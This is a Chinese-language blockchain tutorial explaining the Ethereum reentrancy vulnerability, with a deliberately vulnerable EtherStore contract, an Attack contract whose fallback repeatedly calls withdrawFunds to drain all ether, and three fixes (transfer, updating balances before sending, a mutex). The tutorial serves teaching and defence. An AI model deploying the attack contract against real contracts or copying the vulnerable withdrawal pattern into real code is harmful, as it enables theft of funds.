序
王小猪区块链课堂主要介绍区块链相关问题。课堂会以主题形式来介绍。
本篇技术课堂,讨论的是以太坊智能合约的重入漏洞。
重入漏洞
重入漏洞,就是利用智能合约的Fallback机制,让合约执行额外代码。所以先要介绍一下fallback机制。
每个以太坊的合约里有且只有一个fallback函数。函数无参数,无返回值,当调用合约时,没有任何匹配函数,就会默认调用fallback函数。
此外,当合约收到Ether转账时,这个函数也会被执行。不过执行这个函数会消耗2300gas(注: 这也是防止此类漏洞方法)
下面举一个栗子来看下这个漏洞。
下面是一个被攻击合约。实现了存储和提取功能,且每次提取不能大于1ETH。
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
虽然合约的提取做了层层保护,但下面这几行代码还是有漏洞的。
require(msg.sender.call.value(_weiToWithdraw)());
这句话会发起一个转账,如果被转账的账号,存在如下攻击合约。这个攻击合约将一次转走全部ETH。
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// intialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
攻击者先存入1ETH,在取出1ETH。代码如下:
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
攻击者,调用ethStore.withdrawFunds,触发转账。而转账会激活Fallback机制,也就是如下代码在转账会被激活。
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
而fallback函数又调用了一次,Ethstore的提取函数,而此时提取函数之前的保护完全失效,转账再次发生,fallback再次被调,Ethstore的提取函数再次被调。依次循环,直到取走全部ETH。
当withdrawFunds 被反复调用时,如下的保护措施完全失效。
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
预防技术
这样的漏洞有三种方法。
第一种
使用transfer 转账。而不是call.value方法。原因在于transfer只提供2300gas 用于转账。没有多余的gas执行fallback函数。注:使用transfer函数转账是良好的编码习惯,之后谈到未处理call结果的漏洞,也可以通过transfer函数解决。
第二种
调整原有代码顺序,先扣钱再转账。也就是改成这样。
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
require(msg.sender.call.value(_weiToWithdraw)());
//balances[msg.sender] -= _weiToWithdraw;
//lastWithdrawTime[msg.sender] = now;
第三种
加入互斥锁,类似线程锁。
如下代码为全部三种技术都用的新合约。注: 一种技术就可以,不过为了展示所以都显示
contract EtherStore {
// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
// set the reEntrancy mutex before the external call
reEntrancyMutex = true;
msg.sender.transfer(_weiToWithdraw);
// release the mutex after the external call
reEntrancyMutex = false;
}
}
这个漏洞也是以太坊早期重要的漏洞,也就是著名的DAO攻击,也导致ETC的分叉。
本期课堂就介绍到这,下期介绍溢出漏洞。
我是王小猪,一只找疯的猪!